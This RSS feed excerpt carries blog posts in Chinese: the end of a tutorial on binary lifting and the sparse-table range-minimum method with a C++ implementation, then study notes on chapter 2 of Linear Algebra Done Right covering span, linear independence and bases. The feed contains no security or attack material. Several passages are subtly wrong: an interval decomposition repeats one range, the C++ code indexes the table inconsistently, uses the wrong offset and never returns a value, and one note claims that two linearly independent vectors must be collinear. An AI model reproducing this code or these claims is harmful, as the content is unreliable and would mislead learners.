上的最小值，这些小问题的答案&lt;strong&gt;能够合成出大问题的答案&lt;/strong&gt;．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;欲求在给定若干互不包含且能覆盖环的区间下，某一区间必须被选，此时能覆盖整个环的最少区间数．&lt;br /&gt;
先按区间起始端给区间排序，然后化圆为线，根据贪心，第一步先选上给定的必选区间，此后某一区间若被选上，则下一选上的区间是：左端点最靠近上一选上区间右端点的区间．这一贪心方案直至选出的区间总覆盖长度首次超过环长，此时选出的区间数即为答案．&lt;br /&gt;
从选出的第一个区间到选出的最后一个区间，一共选了 $k$ 个区间，相当于一共走了 $k$ 步，这 $k$ 步能够被拆解成若干阶段 (&lt;strong&gt;相似&lt;/strong&gt;小步骤&lt;strong&gt;能够合成大步骤&lt;/strong&gt;)．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;倍增标尺与进制&lt;/h3&gt;
&lt;p&gt;在遇到实际的大问题前，我们想要预处理所有自己构造出来小问题．在思考如何预处理之前，我们发现小问题长啥样都不知道，那还咋预处理？我们需要设计出这些小问题的结构 (犹如设计一把&lt;strong&gt;尺子&lt;/strong&gt;的刻度，保持测量“精度”的同时，刻度越少越好)，像引入部分第二个世界那样线性地设计显然是不可取的，我们倍增地设计．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在快速幂中，欲求解 $7^{397}$，我们设计倍增标尺： $7^1, 7^2, 7^4, 7^8, 7^{16}, 7^{32}, \cdots$，于是
$$
7^{397} = 7^{256} \cdot 7^{128} \cdot 7^8 \cdot 7^4 \cdot 7^1
$$
这个大问题被我们设计的倍增标尺度量了出来，也就是这个大问题已经拆解成我们想要的相似小问题．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;在 ST 算法下的 RMQ 问题里，欲求解数组 &lt;code&gt;arr&lt;/code&gt; 任意区间上的最小值，我们可以先为所有起点设计共 &lt;code&gt;arr.length&lt;/code&gt; 把标尺：以任一位置为起点，长度分别为
$$
1, 2, 4, 8, \cdots
$$
的区间，此时 $[114, 514]$ 被拆成
$$
[114, 114 + 255], [370, 370 + 127], [370, 370 + 127], [498, 498 + 15], [514, 514 + 0]
$$&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;在国旗计划 (P4155) 中，从选出的第一个区间到选出的最后一个区间，一共选了 $k$ 个区间，相当于一共走了 $k$ 步．线性地走 $k$ 步，且在每一步检查覆盖长度是否超过环长，有点笨，于是我们为每一步到达的区间设计倍增的步长 $1, 2, 4, \cdots$，这样比如从第 $1$ 个区间出发 $27$ 步到达第 $28$ 个区间就可以分解成：&lt;br /&gt;
从第 $1$ 个区间出发的 $16$ 步，从第 $17$ 个区间出发的 $8$ 步，从第 $25$ 个区间出发的 $2$ 步，从第 $27$ 个区间出发的 $1$ 步．&lt;br /&gt;
至于在不知道要走 $27$ 步的情况下，从第 $1$ 个区间出发为啥先是 $16$ 步，这是因为已经尝试过 $32$ 步，但发现超了 (像引入部分那样，不知道目标金额，只知道多了少了)，于是选取下一刻度 $16$ 步．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们发现这三个例子无不反映出二进制的倍增特点：&lt;/p&gt;
&lt;p&gt;可拆性体现在任何数 $x$ 都能用二进制表示，且只需要用 $O(\log x)$ 个数位表示；&lt;/p&gt;
&lt;p&gt;合并性体现在各位值的和就等于 $x$．&lt;/p&gt;
&lt;h3&gt;简便的预处理&lt;/h3&gt;
&lt;p&gt;我们设计的倍增小问题该如何预处理答案呢？由于倍增这一过程的&lt;strong&gt;单调性&lt;/strong&gt;，我们在求解较大的小问题时，能够调用较小的小问题的答案，从而可以使用递归求解．&lt;/p&gt;
&lt;p&gt;按照倍增标尺将木棍一分为二，两段木棍长度一致．由于倍增这一过程的&lt;strong&gt;自我相似性&lt;/strong&gt;，我们不需要递归，直接&lt;strong&gt;递推&lt;/strong&gt;求解即可，因为递推方程并不复杂．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在倍增标尺 $7^1, 7^2, 7^4, \cdots$ 中，
$$
7^{2^i} = \left(7^{2^{i-1}}\right)^2
$$
于是我们可以先求解 $7^1$ 得到递推初始条件．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;arr.length&lt;/code&gt; 把倍增标尺：以 $i$ 为起点，长度分别为 $2^j$ 的区间．这些区间上的答案设为 $\text{dp}[i][j]$．
$$
\text{dp}[i][j] = \min (\text{dp}[i][j - 1], \text{dp}[i + 2^{j-1}][j-1])
$$
等式右边只含 $j - 1$，可递推实现，递推初始条件为 $\text{dp}[i][1] = \text{arr}[i]$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;从第 $s$ 个区间出发，走 $2^k$ 步 (倍增标尺) 后到达的区间记为第 $\text{jump}[s][k]$ 个区间，则
$$
\text{jump}[s][k] = \text{jump}[::\text{jump}[s][k-1]::][k-1]
$$&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;拆解大问题&lt;/h3&gt;
&lt;p&gt;我们使用倍增标尺去度量待求解的大问题，根据刻度读出已预处理的小问题并调用．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以 ST 算法为例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define int long long
vector&amp;lt;T&amp;gt; arr(n);
vector&amp;lt;vector&amp;lt;T&amp;gt;&amp;gt; dp(n, vector&amp;lt;T&amp;gt;(__lg(n) + 2));
template &amp;lt;typename T&amp;gt;
T ST_init() {
  // 递推初始条件
  for (int i = 0; i &amp;lt; n; i++) {
    dp[i][1] = arr[i];
  }
  // 较大小问题拆成较小小问题
  for (int j = 1; (1 &amp;lt;&amp;lt; j) &amp;lt;= n; j++) {
    for (int i = 0; i + (1 &amp;lt;&amp;lt; j) - 1 &amp;lt; n; i++) {
      assert(i + (1 &amp;lt;&amp;lt; (j - 1)) &amp;lt;= n);
      dp[i][j] = min(dp[i][j - 1], dp[i + (1 &amp;lt;&amp;lt; j)][j - 1]);
    }
  }
}
template &amp;lt;typename T&amp;gt;
T RMQ(int L, int R) {
  int len = R - L + 1;
  // 因为是求区间最值，不用彻底拆成二进制的形式
  // 两把尺子相同间距的刻度能刚好覆盖全区间即可
  // 这里 2^{__lg(len)} 超过区间半长，但又不超过区间长
  return min(dp[L][__lg(len)],
             dp[R - (1 &amp;lt;&amp;lt; __lg(len)) + 1][__lg(len)]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>【LADR】【02】Finite-Dimensional Vector Space</title><link>https://fuwari.vercel.app/posts/math/ladr/ladr-02-finite-dimensional-vector-space/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/math/ladr/ladr-02-finite-dimensional-vector-space/</guid><description>Linear Algebra Done Right 第二章</description><pubDate>Sun, 09 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Linear Algebra Done Right 的第二章讲解了&lt;strong&gt;有限维向量空间&lt;/strong&gt;的性质．这个章节通过张成向量组和无关向量组，管中窥豹地揭示了有限维向量空间的特点，从而引入了&lt;strong&gt;基&lt;/strong&gt;和&lt;strong&gt;维数&lt;/strong&gt;这两个基本工具，这让我们能够更容易把握某个向量空间的基本特征．&lt;/p&gt;
&lt;h2&gt;张成空间和线性无关&lt;/h2&gt;
&lt;h3&gt;线性组合&lt;/h3&gt;
&lt;p&gt;$V$ 中一个向量组 $v_1, \cdots, v_m$ 的 &lt;strong&gt;线性组合&lt;/strong&gt; 是向量
$$
a_1v_1 + \cdots + a_mv_m
$$
其中 $a_i \in \mathbf F$，$i = 1, \cdots, m$．&lt;/p&gt;
&lt;h3&gt;张成空间&lt;/h3&gt;
&lt;h4&gt;定义&lt;/h4&gt;
&lt;p&gt;$V$ 中向量组 $v_1, \cdots, v_m$ 所有的线性组合所构成的集合即为 &lt;strong&gt;张成空间 (span)&lt;/strong&gt;
$$
\text{span}(v_1, \cdots, v_m) = {a_1v_1 + \cdots + a_mv_m : a_i \in \mathbf F,, i = 1, \cdots, m}
$$
定义空向量组 $(::)$ 的张成空间为 ${0}$，即 $\text{span}(::) = {0}$．&lt;/p&gt;
&lt;h4&gt;性质&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;⭐ $\text{span}(v_1, \cdots, v_m)$ 是 $V$ 的子空间；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：加法恒等元 $0 = 0v_1 + \cdots + 0v_m \in \text{span}(v_1, \cdots, v_m)$；&lt;/p&gt;
&lt;p&gt;易证 $\text{span}(v_1, \cdots, v_m)$ 对加法和标量乘法都封闭．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;$\text{span}(v_1, \cdots, v_m)$ 是包含 $v_i$ 的 $V$ 的最小子空间．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：思路与「证明子空间的和是包含所有这些子空间的最小子空间」一致,利用 $V$ 的封闭性即可得出结论．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;张成&lt;/h4&gt;
&lt;p&gt;如果 $\text{span}(v_1, \cdots, v_m) = V$，那么称向量组 $v_1, \cdots, v_m$ &lt;strong&gt;张成 (spans)&lt;/strong&gt; $V$．&lt;/p&gt;
&lt;h3&gt;有限维向量空间&lt;/h3&gt;
&lt;p&gt;如果一个向量空间能够由某个有限长度的向量组张成得来，那么称该向量空间是 &lt;strong&gt;有限维的 (finite-dimensional)&lt;/strong&gt;，否则称是 &lt;strong&gt;无限维的 (infinite-dimensional)&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;$\mathbf F^n$ 就是有限维向量空间，因为可由 $(1, \cdots, 0), \cdots, (0, \cdots, 1)$ 张成得来．&lt;/p&gt;
&lt;h3&gt;多项式空间&lt;/h3&gt;
&lt;h4&gt;多项式&lt;/h4&gt;
&lt;p&gt;函数 $p:\mathbf F \rightarrow \mathbf F$ 满足
$$
p(z) = a_0 + a_1z + a_2z^2 + \cdots + a_mz^m
$$
其中 $a_i \in \mathbf F$，$i = 0, 1, 2, \cdots, m$，则称函数 $p$ 为系数在 $\mathbf F$ 中的 &lt;strong&gt;多项式&lt;/strong&gt;．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;由反证法可知，多项式 (函数) 的系数由多项式 (函数) 唯一决定．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果 $a_m \ne 0$，则称 $p$ 的 &lt;strong&gt;次数&lt;/strong&gt; 是 $m$，记作 $\text{deg},p = m$．&lt;/p&gt;
&lt;p&gt;规定恒等于 $0$ 的多项式的次数为 $-\infty$，并规定 $-\infty &amp;lt; m$．&lt;/p&gt;
&lt;h4&gt;多项式空间&lt;/h4&gt;
&lt;p&gt;系数在 $\mathbf F$ 中的全体多项式所构成的集合记作 $\mathcal P(\mathbf F)$．&lt;/p&gt;
&lt;p&gt;系数在 $\mathbf F$ 中，且次数不高于 $m$ 的全体多项式所构成的集合记作 $\mathcal P_m(\mathbf F)$．&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$\mathcal P(\mathbf F)$ 是 $\mathbf F^\mathbf F$ 的子空间；&lt;/li&gt;
&lt;li&gt;$\mathcal P_m(\mathbf F) = \text{span}(1, z, \cdots. z^m)$．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;这里 $z^k$ 是函数 $f:z\rightarrow z^k$ 而不是值，向量空间 $\mathcal P(\mathbf F)$ 里的向量都是函数．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可见 $\mathcal P(\mathbf F)$ 是无限维向量空间，而 $\mathcal P_m(\mathbf F)$ 是有限维向量空间．&lt;/p&gt;
&lt;h3&gt;线性无关&lt;/h3&gt;
&lt;h4&gt;引入&lt;/h4&gt;
&lt;p&gt;考虑 $\text{span}(v_1, \cdots, v_m)$ 中的一个向量 $v$，由张成空间的定义得知，存在 $a_i \in \mathbf F$，使得
$$
v = a_1v_1 + \cdots + a_mv_m
$$
$v$ 的表示是否唯一？假设将其与另一表示相减，即可转化成线性无关的定义：&lt;/p&gt;
&lt;h4&gt;定义&lt;/h4&gt;
&lt;p&gt;如果 $V$ 中向量组 $v_1, \cdots, v_m$ 的线性组合
$$
a_1v_1 + \cdots + a_mv_m = 0
$$
的充要条件是 $a_i = 0$，$i = 1, \cdots, m$，则称该向量组是 &lt;strong&gt;线性无关的 (linearly independent)&lt;/strong&gt;，否则称是 &lt;strong&gt;线性相关的 (linearly dependent)&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;规定空向量组 $(::)$ 是线性无关的．&lt;/p&gt;
&lt;h4&gt;性质&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;向量组 $v_1, \cdots, v_m$ 是线性无关的，当且仅当 $\text{span}(v_1, \cdots, v_m)$ 中的每个向量都能被唯一地表示成 $v_1, \cdots, v_m$ 的线性组合；&lt;/li&gt;
&lt;li&gt;线性无关组中任意长度的向量组都是线性无关的；&lt;/li&gt;
&lt;li&gt;在向量组中，若存在向量是若干其他向量的线性组合，则整个向量组是线性相关的；&lt;/li&gt;
&lt;li&gt;⭐ &lt;strong&gt;(线性相关性引理)&lt;/strong&gt; 在线性相关组 $v_1, \cdots, v_m$ 中，必存在 $v_k$，使得 $v_k \in \text{span}(v_1, \cdots, v_{k-1})$；更进一步，移除 $v_k$ 后，向量组的张成空间不变；&lt;/li&gt;
&lt;li&gt;特别地，当上面的 $k$ 取得最小值时，$v_1, \cdots, v_{k-1}$ 是线性无关组；&lt;/li&gt;
&lt;li&gt;⭐ (无关组长度存在上界) 有限维向量空间 $V$ 中，无关组的长度不能超过张成组的长度，也就是说，$\forall, \text{span}(v_1, \cdots, v_n) = V$，对于线性无关组 $u_1, \cdots, u_m$，都有 $m \le n$；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;性质 6 的&lt;strong&gt;证明&lt;/strong&gt;依赖于用 $u$ 替换张成组向量 $v$ 的过程：&lt;/p&gt;
&lt;p&gt;设张成组 $B_0 = (v_1, \cdots, v_n)$，&lt;/p&gt;
&lt;p&gt;第一步，将 $u_1$ 插在 $B_0$ 的最前面，得到向量组 $B_0&apos; = (u_1, v_1, \cdots, v_n)$，&lt;/p&gt;
&lt;p&gt;因 $u_1 \in V = \text{span}, B_0$，故 $B_0&apos;$ 线性相关，并仍张成 $V$，根据&lt;strong&gt;线性相关性引理&lt;/strong&gt;，我们一定能找出 $B_0&apos;$ 中的某个向量，剔除它后仍张成 $V$．但它不能是 $u_1$，这是因为排在它前面的向量组是 $(::)$，其张成空间是 ${0}$ ，但 $u_1 \notin {0}$，因此某个 $v_j$ 被剔除，我们得到了新的向量组 $B_1$，并且 $\text{span},B_1 = V$．&lt;/p&gt;
&lt;p&gt;第 $k$ 步：此时 $B_{k-1} = (u_1, \cdots, u_{k-1}, \cdots, v_j, \cdots)$，满足 $\text{span},B_{k-1} = V$．&lt;/p&gt;
&lt;p&gt;让 $u_k$ 紧跟 $u_{k-1}$，得到向量组 $B_{k-1}&apos; = (u_1, \cdots, u_k, \cdots, v_j, \cdots)$，因$u_k \in V = \text{span}, B_{k-1}$，故 $B_{k-1}&apos;$ 线性相关，并仍张成 $V$，根据&lt;strong&gt;线性相关性引理&lt;/strong&gt;，我们一定能找出 $B_{k-1}&apos;$ 中的某个向量，剔除它后仍张成 $V$．但它不能是某个 $u_i$，这是因为向量组 $(u_1, \cdots, u_i)$ 线性无关，$u_i\notin \text{span}(u_1, \cdots, u_{i-1})$ ，故某个 $v_j$ 被剔除，我们得到了新的向量组 $B_k$，并且 $\text{span},B_k = V$．&lt;/p&gt;
&lt;p&gt;假如 $m&amp;gt;n$，那么第 $n$ 步完成后，$B_n = (u_1, \cdots, u_n)$，$\text{span},B_n = V$，试将 $u_{n+1}$ 插入 $B_n$ 中，并紧随 $u_n$ 后面，得到向量组 $B_{n+1}&apos; = (u_1, \cdots, u_{n+1})$，但因 $u_{n+1} \in V = \text{span},B_n$，故 $B_{n+1}&apos;$ 线性相关，而这与 $(u_1, \cdots, u_{n+1})$ 无关矛盾．&lt;/p&gt;
&lt;p&gt;故 $m \le n$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;有限维向量空间的子空间都是有限维的．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：只需要努力扩充线性无关组使它成为子空间的张成组即可．&lt;/p&gt;
&lt;p&gt;在扩充过程中，假如现在的无关组是 $(u_1, \cdots, u_{k-1})$，那么如果还是不能张成子空间 $U$，根据子空间的封闭性，$\text{span}(u_1, \cdots, u_{k-1}) \sub  U$，但又 $\text{span}(u_1, \cdots, u_{k-1}) \ne  U$，因此我们总能在 $U$ 中找出 $u_k \notin \text{span}(u_1, \cdots, u_{k-1})$ 用于扩充无关组．&lt;/p&gt;
&lt;p&gt;由于扩充的线性无关组长度存在上界，因此扩充的过程是可以终止的，最终能得到子空间的张成组．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;例子&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;多项式 $1, z, \cdots, z^m$ 是线性无关的；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;长度为 $1$ 的线性无关组里的向量只能是非零向量；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;长度为 $2$ 的线性无关组里的两个向量必共线，即任一向量都互为另一向量的标量倍；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果向量组中存在 $0$，则该向量必然线性相关．换言之，线性无关组的向量都非零；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;长度小于 $n$ 的向量组不可能张成 $\mathbf R^n$．类似地，$\mathcal P_4(\mathbf F)$ 中可能存在包括五个多项式的线性无关组，但一定不存在包括六个多项式的线性无关组；&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;只需构造 $n$ 个正交基底即可借助性质 6 运用反证法得证；&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;实向量空间 $\mathbf C$ 中，向量组 $1 + i$，$1 - i$ 线性无关；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;复向量空间 $\mathbf C$ 中，向量组 $1 + i$，$1 - i$ 线性相关，因为 $1 + i = i(1-i)$；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;设 $v_1, \cdots, v_m$ 在 $V$ 中线性无关， $w \in V$，如果 $v_1 + w, \cdots, v_m + w$ 线性相关，那么 $w \in \text{span}(v_1, \cdots, v_m)$；&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：容易得到
$$
-(a_1+\cdots+a_m)w=a_1v_1+\cdots+a_mv_m
$$
反证法得到 $a_1 + \cdots + a_m \ne 0$，从而得到 $w \in \text{span}(c_1, \cdots, v_m)$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;⭐ 设 $v_1, \cdots, v_m$ 在 $V$ 中线性无关， $w \in V$．容易证明：$v_1, \cdots, v_m, w$ 线性无关当且仅当 $w \notin \text{span}(v_1, \cdots, v_m)$；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;例 9 是证明向量组线性无关的重要方法．&lt;/p&gt;
&lt;p&gt;灵活运用逆否命题和反证法即可．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;⭐ $V$ 是无限维的，当且仅当在 $V$ 中存在无穷序列 ${v_i}$，使得 $\forall, m \in \mathbf N_+$，$v_1, \cdots, v_m$ 线性无关；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;例 10 是证明向量空间是无限维的重要方法．&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：必要性 ($\Rightarrow$)：因为 $V$ 是无限维的，有限长度 0 的向量组 $(::)$ 以及有限长度 $1$ 的非零向量组 $w$ 均无法张成 $V$，因此 $V \ne {0}$，我们就能在 $V$ 中找出 $v_1 \ne 0$，此时向量组 $v_1$ 线性无关．&lt;/p&gt;
&lt;p&gt;假设已经找到了线性无关组 $v_1, \cdots, v_k$，由于 $V$ 是无限维的，我们找不到有限长度的向量组能够张成 $V$，故 $\text{span}(v_1, \cdots, v_k) \ne V$，但又 $\text{span}(v_1, \cdots, v_k) \sub V$，因此总能在 $V$ 中找出 $v_{k+1} \notin \text{span}(v_1, \cdots, v_k)$，(根据例 9) 我们从而找到了新的线性无关向量组 $v_1, \cdots, v_k$．&lt;/p&gt;
&lt;p&gt;于是我们就构造出了无穷序列 ${v_i}$，使得 $\forall, m \in \mathbf N_+$，$v_1, \cdots, v_m$ 线性无关．&lt;/p&gt;
&lt;p&gt;充分性 ($\Leftarrow$)：假设 $V$ 是有限维的，那么 $V$ 就存在有限长度的张成组，也就是说，$V$ 中的线性无关组长度存在上界，但这与条件显然矛盾：因为我们可以取 $m = n + 1$，此时无关组长度超过了张成组长度．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;$\mathbf F^\infty$ 是无限维的；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;由区间 $[0, 1]$ 上的所有连续实值函数构成的实向量空间也是无限维的；&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;根据例 10，这些都能通过构造无关组的无穷序列得证．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;设 $p_0, p_1, \cdots, p_m \in \mathcal P_m(\mathbf F)$，且 $p_i(2) = 0$，则 $p_0, p_1, \cdots, p_m$ 在 $\mathcal P_m(\mathbf F)$ 中线性相关．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;想象两条共零点的一次函数，三条共零点的二次函数，联系代数基本定理进行因式分解，无关组长度存在上界．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;向量空间的特点&lt;/h2&gt;
&lt;h3&gt;基&lt;/h3&gt;
&lt;p&gt;我们都知道无关组长度存在上界，那么当无关组长度似乎达到上确界的时候会发生什么？&lt;/p&gt;
&lt;h4&gt;定义&lt;/h4&gt;
&lt;p&gt;能够张成 $V$ 的线性无关组，就是 $V$ 的一个 &lt;strong&gt;基 (basis)&lt;/strong&gt;．&lt;/p&gt;
&lt;h4&gt;性质&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;(基的判定准则) $V$ 中某个向量组 $v_1, \cdots, v_n$ 是 $V$ 的基，当且仅当 $V$ 中任何向量 $v$ 都能被唯一地写成线性组合的形式：$v = a_1v_1 + \cdots + a_nv_n$，$a_i \in \mathbf F$，$i = 1, \cdots, n$；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;⭐ 每个张成组都能被&lt;strong&gt;剃&lt;/strong&gt;成基，也就是说：&lt;strong&gt;张成组长度 $\ge$ 维数&lt;/strong&gt;；&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：设 $v_1, \cdots, v_n$ 张成 $V$．构造过程 (&lt;strong&gt;剔除法&lt;/strong&gt;)：&lt;/p&gt;
&lt;p&gt;第一步，如果 $v_1 = 0$，那么剔除 $v_1$，否则保留；&lt;/p&gt;
&lt;p&gt;第 $k$ 步，如果 $v_k$ 落在前面 $\text{span}(v_1, \cdots, v_{k-1})$ 里 (这里 $(v_1, \cdots, v_{k-1})$ 中的某些向量可能已被剔除)，那么剔除 $v_k$，否则保留；&lt;/p&gt;
&lt;p&gt;可以看到，每次剔除始终保证前面的向量组线性无关．而且根据&lt;strong&gt;线性相关引理&lt;/strong&gt;，每次剔除后的张成空间仍为 $V$．因此完成第 $n$ 步即可得到一个基．&lt;/p&gt;
&lt;p&gt;强调：&lt;strong&gt;剔除法&lt;/strong&gt;：张成组 $\rightarrow$ 基．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;有限维向量空间都有基；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;因为根据有限维向量空间的定义，它存在张成组，而张成组又包含基．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;⭐ 每个无关组都能被&lt;strong&gt;扩&lt;/strong&gt;成基，也就是说：&lt;strong&gt;无关组长度 $\le$ 维数&lt;/strong&gt;；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：考虑将无关组 $u_1, \cdots, u_m$ 拼在某&lt;strong&gt;张成组&lt;/strong&gt; $w_1, \cdots, w_n$ 的前面，那么得到的新的向量组显然也是一个张成组，根据性质 2，运用&lt;strong&gt;剔除法&lt;/strong&gt;即可得到一个基．在此期间，无关组 $u_1, \cdots, u_m$ 中的任何向量从未被剔除，因此最终得到的基可视作基于无关组 $u_1, \cdots, u_m$ 扩充的结果．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;⭐ (向量空间的&lt;strong&gt;直和分解&lt;/strong&gt;) 有限维向量空间 $V$ 的子空间 $U$ 关于 $V$ 的“直和补” $W$ 也是子空间，即存在子空间 $W$，使得 $V = U \oplus W$．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：显然 $U$ 是有限维的，取其基 $u_1, \cdots, u_m$，显然在 $V$ 中线性无关，将 $U$ 的基扩充为 $V$ 的基 $u_1, \cdots, u_m, w_1, \cdots, w_n$，设 $W =\text{span}(w_1, \cdots, w_n)$，则 $W$ 正是“直和补”．&lt;/p&gt;
&lt;p&gt;为了证明 $V = U \oplus W$，只需证明 $V = U + W$，且 $U \cap W = {0}$．&lt;/p&gt;
&lt;p&gt;因为 $V$ 的基张成 $V$，所以 $V$ 中任一向量 $v$ 可表示成
$$
v = a_1u_1+\cdots+a_mu_m + b_1w_1+\cdots+b_nw_n=u+w
$$
$u \in U$，$w \in W$，故 $V = U + W$；&lt;/p&gt;
&lt;p&gt;设 $v_0 \in U \cap W$，只需证明 $v_0 = 0$，而这并不难，利用 $V$ 的基线性无关即可．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;基的长度不依赖于基的选取．&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：设 $V$ 的两个不同的基 $B_1$ 和 $B_2$，其中 $B_1$ 线性无关，$B_2$ 张成 $V$，那么 $B_1$ 的长度不超过 $B_2$ 的长度；同理 $B_2$ 的长度不超过 $B_1$ 的长度；于是向量空间所有基的长度都是相同的．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;例子&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;向量组 $1, z, \cdots, z^m$ 是 $\mathcal P_m(\mathbf F)$ 的一个基，也被称作&lt;strong&gt;标准基&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;向量组 $(1, -1, 0), (1, 0, -1)$ 是 $P = {(x, y, z) \in \mathbf F^3 : x + y + z = 0}$ 的一个基；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;一方面，$(1, -1, 0), (1, 0, -1)$ 是线性无关组；另一方面，
$$
a_1(1, -1, 0) + a_2(1, 0, -1) = (a_1 + a_2, -a_1, -a_2) \in P
$$
即 $\text{span}((1, -1, 0), (1, 0, -1)) \sub P$．令 $(a_1 + a_2, -a_1, -a_2) = (x, y, z)$，解得
$$
(a_1, a_2) = (-y, -z) \in \mathbf F^2
$$
此时
$$
(x, y, z) = (-y)(1, -1, 0) + (-z)(1, 0, -1)
$$
故 $P \sub \text{span}((1, -1, 0), (1, 0, -1))$，从而 $\text{span}((1, -1, 0), (1, 0, -1)) = P$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;⭐ 设 $V$ 是有限维的，$U$ 和 $W$ 都是 $V$ 的子空间，且 $V = U + W$，那么存在由 $U \cup W$ 中向量组成的 $V$ 的基；&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;解说&lt;/strong&gt;：$V$ 的维度由两个子空间 $U$ 和 $V$ 的维度“张成”而来，但 $U$ 和 $V$ 在维度上是“杂糅”的，并没有“独立”，$V$ 的基混在 $U \cup W$ 里．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：取 $U$ 和 $W$ 的基分别为 $u_1, \cdots, u_m$ 和 $w_1, \cdots, w_n$，则 $\forall, v \in V$，
$$
v = u + w = a_1u_1 + \cdots + a_mu_m + b_1w_1 + \cdots + b_nw_n
$$
